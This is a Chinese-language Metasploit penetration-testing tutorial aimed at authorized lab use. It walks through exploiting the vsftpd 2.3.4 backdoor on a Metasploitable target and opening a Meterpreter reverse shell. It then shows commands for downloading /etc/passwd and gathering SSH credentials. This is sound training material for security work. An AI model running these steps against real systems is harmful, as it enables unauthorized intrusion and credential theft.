Metasploit 渗透测试入门实战：漏洞利用与安全评估指南

作者

Metasploit 渗透测试框架是安全圈使用最广泛的漏洞利用与渗透测试工具，本文从安装配置到实战利用，带你完整掌握 Metasploit 渗透测试的核心操作流程，并给出可在授权环境中直接复现的验证方法。

适用场景

Metasploit 渗透测试框架适用于以下安全场景：

  • 对自有服务器或授权目标进行漏洞验证与风险评估
  • 安全团队开展内部渗透测试、红队演练前的攻击面摸底
  • 复现公开漏洞（CVE）验证补丁是否生效
  • 安全运维人员学习漏洞利用原理，提升防御视角

重要提醒：Metasploit 只能用于你拥有合法授权的系统，未经授权对他人系统进行渗透测试属于违法行为。

前置条件

  • Linux 服务器或虚拟机（推荐 Ubuntu 22.04 / Kali Linux），内存建议 2GB 以上
  • 目标测试环境（本地靶机如 Metasploitable 2、DVWA 或自有实验服务器）
  • 具备 root 或 sudo 权限
  • 网络可达目标主机（同一内网或放行对应端口）

原理说明

Metasploit 的核心设计是模块化架构，主要包含以下几类模块：

  • Exploit（漏洞利用模块）：针对特定漏洞的利用代码，如针对 SMB 协议的 MS17-010 永恒之蓝
  • Payload（攻击载荷）：漏洞利用成功后执行的代码，如反弹 Shell（reverse_tcp）、Meterpreter
  • Auxiliary（辅助模块）：扫描、爆破、信息收集类工具
  • Post（后渗透模块）：获取会话后执行提权、信息搜集、横向移动等操作
  • Encoder（编码器）：对 Payload 进行编码混淆，规避特征检测

一次典型攻击流程为：搜索漏洞模块 → 设置目标与参数 → 选择 Payload → 执行 Exploit → 建立 Meterpreter 会话 → 后渗透操作。

操作步骤

1. 安装 Metasploit

Kali Linux 自带 Metasploit；Ubuntu 等系统可通过官方安装脚本安装：

# 安装依赖
sudo apt update && sudo apt install -y curl postgresql postgresql-contrib

# 官方一键安装脚本
curl https://raw.githubusercontent.com/rapid7/metasploit-framework/master/msfinstall -o msfinstall
chmod +x msfinstall && sudo ./msfinstall

# 验证安装
msfconsole --version

2. 初始化数据库

Metasploit 使用 PostgreSQL 存储漏洞库、主机记录与凭证数据，初始化命令如下：

# 启动 PostgreSQL 服务
sudo systemctl start postgresql

# 初始化 msf 数据库
sudo msfdb init

# 测试数据库状态
msfdb status

数据库初始化成功后，msfconsole 启动时会自动连接数据库，可使用 db_nmap 等命令将扫描结果直接入库。

3. 启动并搜索漏洞模块

msfconsole

# 搜索 SMB 相关漏洞模块
msf6> search type:exploit smb

# 搜索指定 CVE 编号
msf6> search cve:2026

# 搜索某个服务
msf6> search vsftpd

搜索结果中会显示模块编号（如 exploit/unix/ftp/vsftpd_234_backdoor），使用 use 命令加载模块。

4. 配置并执行漏洞利用

以经典的 vsftpd 2.3.4 后门漏洞（Metasploitable 2 靶机）为例：

msf6> use exploit/unix/ftp/vsftpd_234_backdoor

# 查看模块参数
msf6 exploit(vsftpd_234_backdoor)> show options

# 设置目标 IP（靶机地址）
msf6 exploit(vsftpd_234_backdoor)> set RHOSTS 192.168.56.101

# 设置攻击载荷（反弹 Shell）
msf6 exploit(vsftpd_234_backdoor)> set PAYLOAD cmd/unix/interact

# 执行利用
msf6 exploit(vsftpd_234_backdoor)> run

利用成功后即可获得目标的 Shell 会话。参数中 RHOSTS（目标主机）、LHOST（本机监听地址）、LPORT（监听端口）是三个最关键参数，反弹类 Payload 必须确保本机端口可从目标反向访问。

5. 建立 Meterpreter 会话

反弹 Shell 功能有限，推荐改用 Meterpreter 高级载荷：

# 换用 Meterpreter 载荷
msf6 exploit(vsftpd_234_backdoor)> set PAYLOAD linux/x64/meterpreter/reverse_tcp
msf6 exploit(vsftpd_234_backdoor)> set LHOST 192.168.56.1
msf6 exploit(vsftpd_234_backdoor)> set LPORT 4444
msf6 exploit(vsftpd_234_backdoor)> run

# 获得 Meterpreter 会话后常用命令
meterpreter> sysinfo          # 查看目标系统信息
meterpreter> getuid           # 查看当前用户
meterpreter> shell            # 进入系统 Shell
meterpreter> download /etc/passwd  # 下载目标文件
meterpreter> background       # 将会话置于后台

6. 会话管理与后渗透

# 查看所有会话
msf6> sessions -l

# 切换回指定会话
msf6> sessions -i 1

# 使用后渗透模块（如收集 SSH 密钥）
msf6> use post/multi/gather/ssh_creds

配置验证

验证 Metasploit 环境是否正常，依次执行：

  1. msfdb status 输出 Connected to msf 表示数据库正常
  2. msfconsole 启动无报错，输入 db_nmap -sV 目标IP 能正常入库
  3. 对靶机执行 exploit 后 sessions -l 能看到建立的会话
  4. Meterpreter 中 sysinfo 能返回目标系统版本信息

以上任一步骤失败，按下方常见问题排查。

常见问题

FAQ 1：msfconsole 提示数据库连接失败怎么办？

通常是 PostgreSQL 未启动或 msfdb 未初始化。依次执行 sudo systemctl start postgresql、sudo msfdb init，若仍失败，可删除旧数据库重新初始化：sudo msfdb delete && sudo msfdb init。

FAQ 2：Exploit 执行后没有获得会话？

先检查三点：一是 RHOSTS 与 LHOST 地址是否正确且网络互通（用 ping 验证）；二是反弹 Shell 场景下防火墙是否放行 LPORT 端口；三是目标服务版本是否与漏洞模块匹配，可通过 db_nmap -sV 确认服务版本。也可尝试更换 Payload 类型（如 bind_tcp 替代 reverse_tcp）。

总结

本文完整梳理了 Metasploit 渗透测试从安装、数据库初始化、模块搜索、漏洞利用到 Meterpreter 会话建立的完整流程。Metasploit 既是攻击者的利器，也是安全人员评估自身防护水平的有效工具。建议在 Metasploitable 等专用靶机上反复练习，同时务必牢记：一切测试必须建立在合法授权基础上。对企业而言，定期使用 Metasploit 验证补丁与防护有效性，是纵深防御体系中成本低、见效快的一环。